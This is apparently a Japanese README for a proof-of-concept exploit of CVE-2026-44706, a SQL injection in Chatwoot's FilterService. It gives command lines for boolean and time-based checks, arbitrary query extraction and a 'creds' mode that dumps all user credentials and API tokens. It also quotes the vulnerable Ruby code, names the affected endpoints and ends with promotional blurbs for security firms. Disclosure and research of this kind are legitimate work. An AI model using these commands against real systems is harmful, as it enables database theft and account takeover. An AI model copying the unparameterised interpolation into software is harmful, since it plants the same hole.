
Chatwoot の FilterService における SQL インジェクション
CVE-2026-44706の概念実証エクスプロイトです。ChatwootのFilterService#lt_gt_filter_valuesにおけるSQLインジェクションの脆弱性で、認証されたエージェントがユーザー認証情報やAPIトークンを含むPostgreSQLデータベース全体を読み取ることができます。全文記事はこちらをご覧ください。
使用方法:
# Verify injection (boolean-based)
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check
# Time-based confirmation
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode timebased
# Extract arbitrary SQL query result
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode extract --query "SELECT version()"
# Dump all user credentials and API tokens
$ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode creds
app/services/filter_service.rb(91行目)では、ユーザー入力がパラメータ化されずにSQLに直接挿入されています:
def lt_gt_filter_values(query_hash)
value = query_hash['values'][0] # ← user input, no sanitization
operator = query_hash['filter_operator'] == 'is_less_than' ? '<' : '>'
"#{operator} '#{value}'::#{attribute_data_type}" # ← raw interpolation
end
クラス内の他のすべての演算子はバインドパラメータ(:value_N)を使用しています。is_greater_thanとis_less_thanのみが脆弱です。
POST /api/v1/accounts/:id/conversations/filterPOST /api/v1/accounts/:id/contacts/filterCWE-89 SQLインジェクション。認証されたエージェント/管理者は以下が可能です:
pg_sleep()によるデータベース接続の枯渇8.8 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
このツールは教育および研究目的のみに使用されます。所有しているシステム、または明示的な許可を得たシステムでのみ使用してください。作者は、このプログラムの誤用や損害について一切の責任を負いません。
QuimeraX Intelligenceは、複雑なシステムにおける重大な脆弱性を特定することに特化した高度なEASMおよびサイバー脅威インテリジェンスプラットフォームです。このプラットフォームは、セキュリティ脅威を積極的に監視、検出、警告し、透明性と潜在的なリスクへの迅速な対応を確保します。クライアントのシステムに脆弱性が発見された場合、即座に通知と包括的なレポートが送信され、保護措置を講じることができます。詳細はこちら
Hakai Securityは、セキュリティ専門家によって設立されたサイバーセキュリティ企業であり、技術的卓越性にコミットしています。高度なペネトレーションテスト、現実的なレッドチームシミュレーション、セキュアな開発プラクティスなど、進化するサイバー脅威からクライアントの資産を積極的に保護するためのカスタマイズされたセキュリティソリューションを提供しています。
Hacking Clubは、セキュリティコンサルティング会社で働く専門家によって作成された実践的なレッスン、ラボ、チャレンジを通じてサイバーセキュリティを学ぶトレーニングプラットフォームです。戦場からトレーニングへ直結。 ハッキングクラブでこのリポジトリにある脆弱性を練習しましょう! 詳細はこちら